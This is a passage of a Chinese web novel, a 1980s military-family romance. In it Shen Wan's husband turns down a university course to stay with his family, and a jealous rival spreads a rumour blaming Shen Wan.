周凤英扯了扯嘴角，没接话。 本以为话题到此为止，没想到苏琴杉又追问："周同志，我看你和我们家阿战还挺熟的，你们是怎么认识的啊？" 周凤英下意识看了眼顾战，抿了抿唇，简短地说道："一年多前，我回部队探亲时脚踝扭伤了，是路过的顾战同志把我送到医院的。" 她语气平淡，仿佛在说一件再普通不过的小事。 苏琴杉却意味深长地"呵呵"笑了两声："我们家阿战确实很热心肠，就算是个阿猫阿狗倒在路边，他也会送去医院的。" 沈晚听出来了这话里的阴阳怪气，她岔开话题，她指着周凤英的短发问道："周同志，你头发已经这么短了，怎么还要剪啊？" 周凤英抬手摸了摸自己的发尾："发梢有些分叉了，修一修更好看，而且我都习惯短发了。" 沈晚真诚地夸赞道："确实，短发很衬你的气质，干净利落又不失优雅。" 周凤英被夸得耳根微红，不好意思道："谢谢。" 苏琴杉在一旁插嘴道："咱们女人呐，还是应该留着长发才够女人味。这样的短发男不男女不女的，那男人能喜欢吗？" 她故意把话头引向沈晚，"你看看沈同志，这一头乌黑柔顺的长发多漂亮，走起路来人还没到，发丝的香味就先到了，这才叫真正的女人味。" 顾战在旁边听得直皱眉，悄悄推了推她的肩膀示意她闭嘴。 苏琴杉娇嗔地瞪了他一眼："推我干嘛？你不是也说过最喜欢我这一头秀发吗？说摸起来像丝绸一样顺滑。" 顾战无奈："琴杉......" "好啦好啦，"苏琴杉见好就收，亲昵地握住他的手，"知道你不喜欢我在外面说这些，那我回家再说。" 周凤英看着两人亲密的互动，心里不太舒服起来。 如果顾战找了个温柔贤惠的好姑娘，她就算心里再酸涩也会真心祝福。 可眼前这个苏琴杉，说话夹枪带棒，字里行间都透着股刻薄劲儿，明摆着是在针对她。 此时的沈晚也被苏琴杉恶心到了，她冷冷开口："苏琴杉，你这套封建思想该收收了。现在都80年代了，妇女能顶半边天，你倒好，满脑子还是女为悦己者容那套，我看你是思想觉悟有待提高，再说了，周同志在外贸局为国家做贡献，你在这儿对别人的发型指手画脚，你的思想也太落后了吧。" 这番话把个人矛盾直接上升到了政治高度，苏琴杉顿时慌了神，在那个年代，被扣上"思想落后"的帽子可不是闹着玩的。 她支支吾吾道：“我是在跟周同志说话，她都没说什么，你凭什么教训我？” 周凤英闻言立马冷笑一声，声音清冷："沈同志说的没错！头发长在我自己头上，我想剪什么发型是我的自由。就算我剃个光头，也轮不到别人说三道四。 再说了，女人为什么非要讨男人喜欢？我就偏要找个欣赏我短发的，要是连这点个性都包容不了，那也不配当我男人。" 这番话掷地有声，苏琴杉被她怼得脸色一阵青一阵白，“对、对不起……当我说错话了。” 沈晚和周凤英对视一眼。 沈晚对她更加欣赏了，在这个思想尚且保守的年代，周凤英绝对算得上是个思想前卫、个性独立的新时代女性。 这时，理发师喊了一声："下一个！" 沈晚本想让周凤英先去，但周凤英却摆摆手："你们先来的，你带着小川先去吧。" "好。"沈晚不再推辞，牵着霍小川走向理发椅。 小男孩乖巧地爬上椅子，理发师给他围上围布，笑呵呵地问："小同志，想剪个什么发型呀？" 霍小川歪着脑袋想了想，奶声奶气地说："我想剪个和叔叔你一样的发型！" 理发师看着眼前这个粉雕玉琢的小娃娃，圆溜溜的大眼睛像黑葡萄似的，白嫩的小脸蛋上还带着婴儿肥，忍不住笑着逗他："好嘞！不过叔叔我的发型可是很帅气的，剪完可别迷倒太多小姑娘啊！" 沈晚在一旁忍俊不禁，轻轻揉了揉儿子的脑袋："剪吧。" 理发师拿起剪刀，动作麻利地开始修剪。 霍小川乖乖坐着，大眼睛一眨不眨地盯着镜子里的自己，小模样认真极了。 周凤英看着这一幕，眼神不自觉地柔和下来："你儿子真可爱。" 等霍小川剪头发的间隙，另一个理发椅也空出来了。 苏琴杉连忙快步走过去坐下，对着理发师娇声道："师傅，能不能给我烫个最时兴的卷发？要《大众电影》上那种大波浪的！" 第一百三十三章 为期半年的进修 理发师是个四十多岁的中年男子，闻言为难地搓了搓手："同志，咱们这是部队理发室，只提供基础发型服务，没有烫发设备啊……" 苏琴杉失望地撇撇嘴："那算了。" 她对着镜子拨弄着自己的长发，"给我修个层次吧，发尾要打薄，但不能剪短。" 理发师松了口气，拿起剪刀开始工作。 这下等候区只剩下周凤英和顾战两人。 顾战低声道："我替琴杉向你道歉，她说话没轻没重的。" 周凤英看着男人憨厚的面容，恍惚间想起去年冬天，她回部队探亲时，路面结冰太滑，不慎崴了脚，当时就是这个男人，二话不说将她打横抱起，一路狂奔到医院。 从那以后，这个看似粗犷实则温柔的男人，就在她心里埋下了一颗种子。 她原以为这只是感激之情，特地回京市待了半年，想让自己冷静下来，可每当夜深人静，脑海里总会浮现他的身影。 更巧的是，当时家里也想把顾战介绍给她，她看似矜持地答应下来，甚至打算提前结束工作赶回来，没想到等到的却是他结婚的消息。 “没事，”周凤英收回思绪，嘴角扯出一抹苦笑，“既然结婚了就好好过日子吧，我看苏同志很喜欢你。” 周凤英虽然笑着，但顾战总觉得她眼底藏着说不出的忧伤，心里也跟着闷闷的。 他刚想开口再说点什么，苏琴杉突然喊他："阿战，你过来看看，这个理发师给我剪的好不好看？" 顾战轻吸一口气，走了过去。 苏琴杉正对着镜子里的他笑靥如花，顾战说："挺好看的。" "那就行，"苏琴杉满意地拨弄着发梢，"我还怕他把我的头发剪坏呢。" 等霍小川剪完头发，沈晚也坐了下来。她对着镜子端详片刻，对理发师说："麻烦帮我把发尾修齐，刘海稍微打薄一点，要这种自然的空气感。" 她用手指比划着，"两侧的头发可以稍微剪出些层次，但不要太碎。" 她是按照现代的审美说的，但是理发师都听懂了，连连点头：“没问题。” 沈晚解开发绳的瞬间，乌黑柔顺的长发如瀑布般倾泻而下，在理发室的灯光下泛着绸缎般的光泽，发丝间还飘散着淡淡的香气。 连苏琴杉都看得嫉妒不已，这贱人，为什么哪哪都这么完美？身材窈窕、五官精致，连头发丝都像是精心雕琢的艺术品，根根分明又柔亮顺滑。 沈晚的头发长，修剪的时间自然也久一些。 这期间，周凤英的短发已经修剪完毕。 她问："同志，多少钱？" 理发师抖了抖围布："一块钱。" 周凤英从口袋里掏出一张一块纸币，放在柜台上："正好。" 顾战也替苏琴杉问道："我们这边多少钱？" 理发师一边给沈晚修剪发梢，一边答道："女同志长发一块二，小孩子三毛。" "嫂子，我帮你和小川付了哈。" 顾战掏出钱放在桌子上。 沈晚连忙拒绝：“不用了，我带钱了。” 顾战咧嘴笑了笑：“就一块五的事，又不是多大的钱，我身上的钱正好。” 旁边的苏琴杉恨恨地扣了扣掌心。 这个顾战，就知道往外面送钱！ 沈晚剪完头发后，顾战热心地对周凤英说："周同志，我开车了，顺道送你回去吧？" 周凤英看了一眼站在旁边虎视眈眈的苏琴杉，实在不想和她同坐一辆车，便婉拒道："算了吧，我自己走回去就行，不远。" 顾战挠挠头："没事啊，你和嫂子坐后面就行。" 周凤英抬眸看着眼前这个耿直的男人，咬了咬牙还是坚持道："不用了，我先走了。" 说完转身就走。 顾战还想追上去，却被苏琴杉一把拉住胳膊："她想自己走就自己走呗，你非要带她干什么？咱赶紧回家吧！" 几息之间，周凤英的身影已经走远了。 沈晚若有所思地望着她离去的方向，她怎么感觉周同志对顾战的态度，似乎有些微妙啊...... 苏琴杉拽着顾战的胳膊往车那边走：“赶紧上车吧，该回家做饭了。” 临下车前，沈晚默默将钱放在了吉普车后座上，只要顾战回头看一眼就能发现。 …… 与此同时，军区会议室里气氛凝重。 "这次去国防大学进修的名额十分宝贵，"周卫国敲了敲桌面，"沉舟啊，你的能力有目共睹。这次进修回来，前途不可限量。" 霍沉舟眉头微蹙，修长的手指在桌面轻轻敲击，眸色深沉如墨。 周卫国见他沉默，直接拍板："这次课程为期半年，下周一就要去京市报到。沉舟，没有时间再让你犹豫了，你今天晚上就回家收拾行李，明天必须出发。" "首长，"霍沉舟声音低沉，"沈晚和小川刚来随军不久。如果我一走就是半年，他们肯定会不适应，我现在更想好好陪伴我爱人和孩子。" "你这是什么话！"周卫国猛地一拍桌子，茶杯都被震得哐当作响。 会议室瞬间鸦雀无声，其他人都屏气凝神，连呼吸都放轻了。 周卫国站起身，双手撑在桌面上："霍沉舟！你是个军人！任何时候都要应该先顾大家再顾小家！ 就半年而已！之前沈晚没来随军的时候，你不是也一个人在部队里过了五年？怎么现在媳妇才来两个月，你就舍不得了？ 霍沉舟，你给我说清楚，到底是你的前途重要，还是儿女情长重要？" 霍沉舟背脊挺得笔直："都重要。我不会放弃前程，也不会忽略家人。我在第七师一样有很好的发展，不需要去京市进修。" "放屁！"周卫国怒极反笑，"你媳妇是没手还是没脚？离开你半年不能活啊？" 眼看气氛剑拔弩张，孙政委连忙打圆场："老周消消气，霍团长还年轻，舍不得媳妇孩子热炕头也正常。要不这样，让霍团长把家属一起带去京市？既能进修，又能一家团圆。" 霍沉舟眸光微动："这样可以。" "可以个屁！" 第一百三十四章 跪着也得受着 周卫国冷笑一声，"这次进修是雷霆计划的预备选拔，全程保密封闭管理，连通讯都要受限！带家属？做梦！" 会议室再次陷入死寂。 霍沉舟面无表情："既然如此，那我选择放弃这次机会。" "你——"周卫国指着他，气得手都在抖，"好，很好！霍沉舟，你真是让我刮目相看！" 孙政委也为难起来："沉舟啊，这次进修名额可是周首长特意为你争取的。国防大学雷霆计划五年才招一批，出来直接进总参，多少人挤破头都进不去啊！" 他看了眼气得脸色铁青的周卫国，继续道："你就别气你们周首长了，回家和沈晚同志好好商量商量。你放心，你走后部队一定会照顾好你家人，我亲自盯着，保证不让他们受半点委屈。" 霍沉舟神色未变："孙政委，不用劝了。我已经决定放弃这个名额，可以推荐给其他更需要的同志。" 周卫国又拍了一下桌子："胡闹！部队里除了你最合适，还有谁？你这是要把天大的机会白白浪费掉！" 不管周卫国怎么威逼利诱，孙政委怎么苦口婆心劝说，霍沉舟始终不为所动，就一句话："不去！" 会议最终不欢而散。 周卫国回到家后，气得晚饭都没吃。 杨雪梅端着茶走进书房，看见丈夫黑着脸坐在椅子上抽旱烟，满屋子都是呛人的烟味。 "你咋了？发这么大脾气。"杨雪梅推开窗户通风。 周卫国重重叹了口气，把今天的事说了一遍。 杨雪梅听完直摇头："人家霍团长好不容易和媳妇孩子团聚，生活过的高高兴兴的，哪舍得分开半年啊？你也真是的，再找个别人去不行？" 周卫国猛吸一口旱烟，烟锅里的火星明明灭灭："部队里除了沉舟，还有谁有资格去这种高级进修班？要是随便派个人去，那不是纯属丢人现眼吗？" 正在客厅看电视的周凤英听到这里，忍不住笑出声："爸，要不然您亲自去呗？您去半年，我妈肯定舍得，就是不知道您能不能舍得我妈了。" "去去去！"周卫国被女儿调侃得老脸一红，"一个个都不让我省心！" 杨雪梅想了想："要我说啊，你明天去找沈晚谈谈。那孩子通情达理，说不定能劝劝霍团长。" 周卫国面露难色："要不然你去吧？你们都是女人，好说话些。" 杨雪梅连连摆手："我可不去！你忘了上次你让我去劝他们小两口离婚，结果人家现在感情多好？我可不想再去丢这个脸。" 周凤英啃了口苹果，含糊不清地说："爸，我今天在理发室碰见霍团长的爱人了。要我说，您直接去找沈同志谈，她肯定会同意——她看着就是个明事理的人。但问题的根子在霍团长身上。他要是真舍不得妻儿，您就是说服了沈同志也没用。" 周卫国："你碰见沈晚了？" "嗯。"周凤英点点头，"碰见了顾战，他介绍我们认识的。" 提到顾战，周卫国眉头又皱了起来："说起小顾，他那媳妇可真不怎么样。听说一次性给娘家寄了好几百块钱？小顾一个月津贴才多少？八十？一百？" 周凤英脸色变了变，但还是嘴硬道："他喜欢就娶了呗，自己选的人，跪着也得受着。" 杨雪梅和丈夫交换了个眼神，周卫国轻咳一声，转移话题："那明天我亲自去找沈晚谈谈。这么好的机会，不能让沉舟年轻气盛耽误了前程。" 霍沉舟回家后，什么也没和沈晚说，只是晚上异常地粘人，搂着她也不干别的。 沈晚心里觉得不对劲：“是不是今天发生什么事了？” 霍沉舟摇了摇头，手臂收得更紧："没事。" 见他不想多说，沈晚也没再追问，只是回抱住他。 第二天一早，霍沉舟照常去部队后，沈晚一个人在家突然听到敲门声。 打开门，一个年轻的小战士站在门外，恭敬地敬了个礼："嫂子，周首长找您，您跟俺走一趟吧。" 沈晚皱了皱眉，联想到昨晚霍沉舟的反常，心里猜到周首长找她，多半是为了霍沉舟的事。 她点头道："好。" 不远处，顾战正巧路过，看见沈晚上了首长的车，心里有点疑惑。 一眨眼，车就开走了，等车开走后，顾战干脆也开车跟了上去。 小战士没带她去办公楼，而是径直开往师部小院。沈晚来过一次，认出这是去周首长家的路。 顾战远远看着沈晚进了周首长家，疑惑地挠挠头："嫂子咋自己去首长家里了？" 他的吉普车停在路边大树下，正犹豫要不要继续等，车窗突然被人敲响。 顾战转头一看，连忙摇下车窗："周同志......" 周凤英双手抱胸，语气不善："你来我家干什么？" 顾战支支吾吾："我刚才看见嫂子坐着首长的车来了，就......" "就跟踪我爸的车？"周凤英冷笑一声，"顾战，你胆子可真大。" 顾战左右张望了一下，压低声音道："哎哟，我这不是担心嫂子吗？团长不在，万一有什么事......" 周凤英眯起眼睛："能有什么事？我爸找沈晚谈话，自然是有正事。" 顾战："这么说，你是知道首长找嫂子什么事了？" 周凤英抱着手臂，语气冷淡："难道你没听说？我爸想让霍沉舟去京市进修半年，结果被他当场拒绝，气得拍桌子的事？" 顾战一脸茫然："......还真没听说。所以首长找嫂子是想让她劝团长？" "算你还有点脑子。"周凤英轻哼一声。 顾战挠挠头，不明白周凤英怎么突然对自己这么大火气，只能讪讪地笑道："团长不想去京市，肯定是舍不得嫂子。就算嫂子答应了，团长也未必会松口......" "我也是这么和我爸说的，"周凤英翻了个白眼，"但他老糊涂了，非不信这个邪。" 顾战干笑两声，整个军区敢说周首长老糊涂的，恐怕也只有他这位千金了。 第一百三十五章 周卫国找沈晚谈话 杨雪梅边领着沈晚进家门，边温和地笑道："小沈啊，今天特地把你叫来，是你们周首长有些话想和你说。别紧张，就当是家常聊天。" 沈晚微微一笑："没事的杨主任。周首长要谈的事，是和沉舟有关吧？" 杨雪梅浅笑着点头："嗯，确实和霍团长有关。" 她试探性地问，"昨天晚上霍团长回家后，没和你提起什么吗？" 沈晚摇摇头："沉舟回家从不说部队里的事。他说军营是军营，家是家。" 杨雪梅将沈晚带到书房："老周，小沈来了。" 周卫国正坐在书桌前看文件，闻声摘下老花镜："小沈来了？坐吧。" 沈晚落落大方地坐下，开门见山地问："首长，您找我是想说什么事？" 周卫国双手交叉放在桌上，神色郑重："小沈啊，我是想和你说说沉舟去国防大学进修的事。这次是全军选拔，每个军区只有一个名额。沉舟是第七师最年轻的团长，也是重点培养对象。进修结束后，晋升机会更大。 六个月时间说长不长，说短不短。但这次机会，可能决定他未来十年、甚至二十年的发展……" 周卫国说了很多话，沈晚始终安静地听着。 周卫国观察着她的神色，继续语重心长道："我知道你和沉舟久别重逢，你们俩都互相舍不得对方。但沉舟前几年因为你......" 他斟酌了一下措辞，"因为你们俩的事，已经错过了一次晋升的机会，这次可能是他最后一次能去国防大学进修的机会了。" 沈晚睫毛轻颤，心情也有些复杂起来。 原主一定程度上确实影响了霍沉舟的前途，因为部队最看重稳定性，一个连家庭都处理不好的军官，很难被委以重任。 周卫国说了半天，见沈晚一直沉默，试探地问："小沈，你心里怎么想？不用顾虑，就说实话。" 沈晚抬起头，语气平静："首长，我支持沉舟去进修。" 周卫国愣了一下，没想到她答应得这么干脆。 "真的？" "嗯，我支持沉舟去进修。但他一向有主见，认定了的事情很难说服。" 周卫国叹了口气："我就是说服不了他，才找你来商量的。你想想，多难得的机会啊，放弃了多可惜。沉舟才二十五岁就当上团长，将来前途无量。这次进修回来，晋升指日可待。" 沈晚轻吸一口气："首长，我可以劝他，但不能代替他做决定......" "这种事，心甘情愿是最好。你回家好好劝劝他。如果他还是不答应......我就只能下死命令了。军人的天职是服从命令，到时候只能委屈你和小川在部队等他半年了。" 沈晚抿了抿唇："嗯，好。" 从书房出来后，等在客厅的杨雪梅连忙迎上来，拉住沈晚的手："小沈啊，你千万别有压力。回家也别因为这件事和霍团长吵架。" "杨主任放心，我明白的。" 沈晚面色沉静，看起来情绪还行。 “好，回去吧小沈。” …… 顾战没等沈晚出来，就急匆匆地去找霍沉舟了。 他先去了办公室，发现没人，又直奔训练场。 远远地，他就看见霍沉舟站在一群小兵中间，身姿挺拔如松。 顾战眯着眼睛在训练场边看了半天—— 霍沉舟正亲自示范战术动作，他利落地翻身跃过障碍，落地时一个漂亮的翻滚，手枪稳稳指向目标，动作干净利落得令人惊叹。 "漂亮！"周围的战士忍不住鼓掌。 等霍沉舟从训练场下来，顾战连忙小跑过去："团长，出事了！" 霍沉舟抓起水壶仰头灌了几大口，喉结随着吞咽的动作上下滚动，几滴汗珠顺着脖颈滑落进衣领。 他随手抹了把嘴角，斜眼看向顾战："什么事？" 顾战四下张望，凑到霍沉舟耳边低声道："我刚才看见嫂子被周首长叫去谈话了......" 霍沉舟眼神骤然一冷，握着水壶的手收紧。 他没想到首长见说服不了他，竟然直接找上了沈晚，以那个女人的性子，怕是会毫不犹豫答应周首长的要求...... 顾战小心翼翼地问："团长，你真的要去京市进修啊？" "不去。"霍沉舟冷声道。 顾战缩了缩脖子："......哦，首长那边怎么交代？" “我想办法。” 霍沉舟迫不及待地赶回家，刚推开家门，就看见客厅里多了两个鼓鼓囊囊的大包袱，眼皮顿时狠狠跳了两下。 他咬了咬牙，大步走进卧室，只见沈晚正背对着他坐在炕上，一言不发地叠着他的衣服。 "你这是干什么？"霍沉舟声音发紧。 沈晚头也不抬，手上动作不停："你眉毛底下那俩窟窿眼是干什么使得？没看见我在收拾行李吗？" 霍沉舟被噎得一哽："生气了？" 沈晚抿着唇不吭声，把叠好的衣服重重塞进包袱里，发出"啪"的一声响。 房间里一时安静得可怕。 霍沉舟站在门口，看着小女人气鼓鼓的背影，心里又酸又软。 他叹了口气，走过去从背后环住她："阿晚......" "别碰我！"沈晚挣了一下没挣脱，索性任由他抱着，但语气依然硬邦邦的，“昨天晚上为什么不和我商量这件事？” 霍沉舟收紧手臂，将下巴抵在她发顶："因为我根本不想去。我就想守着你和小川，就算不去进修，我照样不比别人差。" 沈晚转过身，眼圈已经红了："可这是一次多难得的机会啊！你之前已经因为我错过一次晋升了，这次还要放弃吗？" 她声音哽咽，"我不想你因为再放弃一次，这样我会良心不安的。而且只要半年，你就能回来，到时候我们团聚了。" "不行！"霍沉舟深吸一口气，"你长得这么招人，要是我走了，你被别人勾搭走了怎么办？" 他咬牙切齿地举例，"就比如医院那个张思德，整天惦记着你。要是我离开半年，他还不天天往你跟前凑？" 第一百三十六章 散播谣言 沈晚被他这突如其来的醋意弄得哭笑不得："霍沉舟！你把我当什么人了？" "我媳妇。"霍沉舟理直气壮。 沈晚气得捶他胸口："你能不能正经点！我在跟你说前程大事，你在这吃飞醋？" 霍沉舟抓住她的拳头，正色道：“你不会真的已经答应首长了吧？” 沈晚轻哼一声："我是答应了会劝你，但也明确说了做不了你的主。这件事最终还是要看你的决定。" 霍沉舟将她拉进怀里，声音低沉而坚定："阿晚，对我来说，没有什么比你和小川更重要。我知道你是为我好，但我不需要靠这种机会证明自己。" 他抚过她的发丝，"就算留在部队，我也能凭实力晋升。" 沈晚靠在他胸前，无奈道："这话你应该和周首长说去。他放话了，要是我劝不动你，就直接给你下死命令。" 霍沉舟叹了口气："我会想办法说服首长的。" 霍沉舟都这么说了，沈晚也不想纠结了。 她舍不得霍沉舟是真的，但是想让他好也是真的，甚至想过用离婚威胁霍沉舟去进修。 现在她突然放开心了，不管霍沉舟去不去，她都愿意在部队等着他。 半年而已，又不是三年五载。 …… 林怡宁正懒洋洋地躺在沙发上看电视，林国栋突然走进来，随口提起了霍沉舟拒绝进修的事。 "什么？霍沉舟拒绝去京市进修？"她猛地从沙发上弹起来，眼睛瞪得溜圆。 林国栋给自己倒了杯茶，慢悠悠地点头："嗯，你们首长因为这件事气得够呛。" 林怡宁眼珠子转了转，脸上露出讥讽的笑容："该不会是因为沈晚那个贱人吧？" "你还真猜对了。"林国栋冷哼一声，"姓霍那小子说了，不想离开老婆孩子。" 林怡宁气得把遥控器往沙发上一摔："真是没出息！为了个女人连前程都不要了！" 这时，崔明珠端着果盘走过来，轻轻放在茶几上："小妹，吃点水果。" 林怡宁扫过她隆起的肚子，眼中闪过一丝不耐："你不是才五个月吗？怎么肚子看着跟六七个月似的......你怀的到底是不是我哥的孩子？" 崔明珠脸色骤变："小妹，你这话可不能乱说！" 林国栋也皱眉拍了下林怡宁的肩膀："怡宁，这种玩笑开不得。" 林怡宁吐了吐舌头，故作天真地说："哎呀，我就是随口一说嘛~嫂子你别往心里去。" 小姑子都这么说了，崔明珠只能强忍着怒气，冷着脸回房间去了。 林怡宁悠哉地拿起一个苹果啃了一口："爸，部队里是不是还没什么人知道这件事啊？" 林国栋："哪件事？" "就是霍沉舟为了沈晚，连进修都不愿意去啊。" 林国栋："嗯。" 林怡宁眼底闪过一丝狠毒，“那我可要好好帮他们宣传一下，让全部队的人都知道沈晚那个贱人是个什么东西，竟然连霍沉舟要去京市进修这么好的机会都不让。” 林国栋一脸宠溺地看着自己闺女："怡宁，你告诉我，你是不是心里还惦记着姓霍的那个小子？" 林怡宁冷笑一声："我惦记又有什么用？他眼里只有沈晚那个贱人！既然得不到，那我也不会让他们好过。" "行行行，"林国栋无奈地摸了摸她的头，"你想怎么做就怎么做吧。" 第二天，"沈晚阻止霍沉舟去京市进修"的消息就传遍了整个军区。 "听说了吗？霍团长为了媳妇连进修都不去了……" "啧啧，多好的机会啊，听说回来就能升副师。" "沈同志平时看着挺明事理的，怎么在这种事上犯糊涂。" 虽然最近沈晚的名声已经好转许多，大家都知道她是医术高明的神医，救了不少战士和家属。 但听到这个消息的第一反应，还是忍不住为霍沉舟惋惜——那么好的晋升机会，就这么白白放弃了？ 连文工团的人都听说了这件事。 蒋雪最近过得生不如死，一边要应付家里，一边还要在文工团忍受旁人异样的眼光。 只有顾漫漫还愿意陪在她身边。 当顾漫漫把霍沉舟放弃进修的消息告诉她时，蒋雪不可置信道："沈晚怎么能这样呢？沉舟那么优秀的人，怎么能因为儿女情长耽误前程......" 顾漫漫也是一脸愤慨："可不是嘛。要我说，霍团长就是被那女人迷昏了头。你想想，要是换做你，肯定会全力支持他去进修吧？" 蒋雪咬住下唇，眼里泛起水光。 她想起大学时霍沉舟意气风发的样子，那样耀眼的人，本该有更广阔的天地。 都是沈晚拖累了他！ 顾漫漫看着闺蜜萎靡不振的样子，心疼地握住她的手："小雪，那个曹振国现在怎么样了？" 提到这个名字，蒋雪的身子明显颤抖了一下："他被关在公安局……听说要判刑，最少也要判三年。" 曹振国爸妈只打听到蒋雪在文工团上班，在文工团门口堵过她，想让她签谅解书，但是被蒋雪拒绝了，她现在上下班都不敢从正门走。 顾漫漫叹了口气，犹豫片刻又问："那你还要继续骗你爸妈，说你在和霍沉舟谈对象吗？" 蒋雪眼神闪烁："嗯，我不光要说我在和霍沉舟谈对象，我还要告诉他们，霍沉舟马上就要去京市进修了。等过段时间风头过去，我就说和霍沉舟因为异地原因分手了。" 顾漫漫沉默片刻，轻轻点头："现在也只能这样了。" …… 沈晚在大院里被几个军属责问了几句，话里话外都是让她不要任性阻止霍团长出去进修。 沈晚差点气笑，完全不明白这个谣言是从哪里传出来的，她怎么成了阻碍霍沉舟前程的罪人？ 黄春艳这几天也和李丽处的很好，从李丽嘴中得知这个消息，立马拍了一下大腿："哎哟，这个沈晚，到底是年轻，还没有婆婆管着！要是我儿媳妇敢这么不懂事，耽误我儿子的前程，我非得让我儿子和她离婚不可！" 第一百三十七章 护媳妇倒是挺上心 李丽假惺惺道："大娘，也不能这么说。人家沈同志毕竟还年轻，而且刚从老家随军来，夫妻俩正腻歪着呢，舍不得和丈夫分开也正常。" 她这话看似在帮沈晚说话，实则坐实了沈晚任性的罪名。 沈晚听到这，终于忍不住冷笑一声：“大家都觉得是我不让霍沉舟去京市进修的吗？” 黄春艳：“难道不是吗？” 沈晚一字一顿说：“我沈晚虽然年轻，但绝不是不明事理的人。霍沉舟做什么决定我都支持，无论是去京市进修半年，还是留在部队，我都尊重他的选择。 而且我家沉舟能二十五岁就当上团长，靠的是真本事，不是靠什么镀金的机会。他留在部队一样能建功立业，这点相信大家都清楚。 他既然决定放弃这次机会，说明他心里有谱，就算不去进修，他也不会比别人差，我作为妻子，尊重且相信他。” 沈晚这一番话说得情真意切、掷地有声，让大院的其他人都不禁动容。 她顿了顿，又继续道："而且谁不希望自己的丈夫能越来越好？我又不是傻子，难不成还真的拦着自己男人上进？" 这番话说得有理有据，众人纷纷点头。 确实，沈晚看起来通情达理，不像是会阻碍丈夫前程的人，那难不成是霍团长自己不愿意去？ 黄春艳心里还惦记着被沈晚讹走的那三十五块钱，对沈晚的话嗤之以鼻，在她看来，这死丫头心眼太多了，嘴里没一句实话。 另一边，顾战听说谣言后，立刻去找霍沉舟。 此时办公室里，霍沉舟也在承受着周卫国的压力。 周卫国背着手，面色严肃："霍沉舟，我现在是以首长的身份命令你，必须去京市参加这次进修！你还记得军人的天职是什么吗？" 霍沉舟面不改色："军人的天职是服从命令！" "很好！"周卫国点点头，"所以我现在给你下命令了，你应该怎么办？" 办公室内一片寂静。 霍沉舟并没有像周卫国心里想的那样拒绝或者是勉强同意，他只是把一份文件放在办公桌上："首长，您先看看这份资料，再决定要不要让我走。" 周卫国狐疑地翻开文件，发现是一份《第七师现代化作战能力提升计划》，里面详细列出了针对东北严寒气候的特种作战训练方案；边境巡逻信息化改造计划；装甲部队雪地机动性提升措施；冬季后勤保障体系优化建议；军民联防机制创新方案。 每一页都附有详细的数据分析和可行性论证，甚至还有手绘的战术演练示意图。 霍沉舟沉声道：“首长，京市进修学的是通用理论，那些课程对我而言提升有限，不过是个镀金的机会罢了。” “但第七师的实际情况我最清楚，去年冬季演习，我们的装甲车在零下30度故障率高达40%；边防哨所的通讯设备经常失灵……” “我不在乎个人晋升的快慢，只希望带着整个第七师真正进步。这份计划里的每一个细节，都是我这三年实地考察、亲身体验后总结出来的。” “也就是说，除了我，没人能立即上手实施。” 周卫国越看越心惊，这份计划的专业性和可行性远超他的预期。 特别是其中关于"建立边境快速反应部队"的设想，正好切中当前防务的痛点。 他忍不住揉了揉眉心，苦笑道："你小子什么时候偷偷搞出这么份东西？" 霍沉舟唇角微扬："很久之前就开始准备了，本来还打算完善之后再呈给您审阅。没想到您现在想把我调去进修，我只好提前拿出来了。" "我就说你态度怎么这么坚决，原来是已经做好了万全准备。"周卫国将文件放下，无奈地摇了摇头。 他拍了拍霍沉舟的肩膀，眼中满是赞赏，"沉舟啊，你可真是让我刮目相看。这份方案比总参去年下发的指导文件还要细致周全。" "所以，首长，您现在不想把我发配去京市进修了吧？" 周卫国立马瞪了他一眼："混小子！你别以为拿出一份像样的方案，就能抵消你当众顶撞我的过错！" “那请首长处罚！”霍沉舟微微一笑。 周卫国看他这副模样，又好气又好笑："行了行了，少在这给我装模作样。不过话说回来，你这方案确实解决了我们的大问题。北境这边的情况，确实比进修更重要。" 他刚才只简略看了一眼霍沉舟的方案，现在心里像猫爪挠一样痒痒的，还想再仔细研究研究，于是冲霍沉舟摆摆手："滚吧滚吧，看见你就来气，这下你们夫妻两个不用分居两地了。" 霍沉舟从办公室出来时，顾战快步迎上前："团长！"他压低声音，将部队里散播沈晚谣言的流言告诉了霍沉舟。 霍沉舟的脸色冷了下来："去查是谁在传。" 顾战点点头："明白，团长，您要不要先回家看看嫂子？估计这些闲话已经传到她耳朵里了......" 霍沉舟“嗯”了一声，然后又回到了办公室。 周卫国抬头看见是他，没好气道："还有什么事？" "首长，"霍沉舟站得笔直，"关于我爱人沈晚......" 他简明扼要地将谣言的事情汇报了一遍，最后请求道："希望您能出面澄清，针对别人散布的关于我爱人的不实言论，发个正式通知。" 周卫国笑了笑："行，这事我记下了。明天早会上我会强调纪律，让政治处发个通知，严厉批评这种造谣生事的行为。你小子，护媳妇倒是挺上心。" 霍沉舟微微颔首："谢谢首长！" 回到大院，有军属看见他，忍不住问道："霍团长，听说你爱人真的不让你去京市进修了？那可是别人挤破脑袋都抢不到的机会啊！" “我留下来是部队和我自己的决定，跟我爱人没关系，她尊重我的一切决定，这种传言就不要再传了。”霍沉舟眉心紧蹙。 “哦哦。”那名军属有点尴尬地应了两声。 第一百三十八章 都是你毁了我的人生 沈晚看见他这么早就回来了，奇怪地问道："你怎么这么早就回来了？" 霍沉舟大步上前，一把将她拥入怀中："受委屈了没？" 沈晚愣了一下，随即笑着摇摇头："我受什么委屈了？" 霍沉舟眉头紧锁："谣言都传到我耳朵里了。" "没事，"沈晚语气轻松，"嘴长在别人身上，我又不能拿针把他们的嘴给缝上。。" 霍沉舟却道："我要进修这件事只有首长和几个高层知道，明显是有人故意散播谣言，我一定会查出来是谁在捣鬼，给你一个交代。而且，我已经请求首长下发通知，澄清这件事了。" 沈晚没想到霍沉舟竟然为了她特意去找了首长，心头一暖：“那你进修的事到底怎么样了？首长怎么说？” "放心吧，我已经和首长商量好了，进修的机会交给别人，我留下来。" 沈晚眼睛一亮，惊喜道："真的？！" 霍沉舟嘴角勾起，抬手刮了下她的鼻尖："真的。某人不是口口声声说支持我去京市吗？怎么现在听说我留下来，高兴成这样？其实心里还是舍不得我的吧？" 沈晚被他戳穿心思，耳尖瞬间红了，娇嗔地捶了他一下："我虽然是支持你去，但是……肯定还是希望你留下来的嘛。" 霍沉舟大手在她腰间暧昧地摩挲，"我们家阿晚啊，就是全身上下嘴最硬......其他地方都是软的。" 沈晚被霍沉舟的荤话逗的羞愤交加。 她一害羞，白皙的脸颊便染上绯红，像初春的桃花般娇艳，那双总是清亮的杏眼此刻氤氲着水汽，睫毛轻颤着不敢与他对视，粉嫩的唇瓣微微抿着，露出小酒窝。 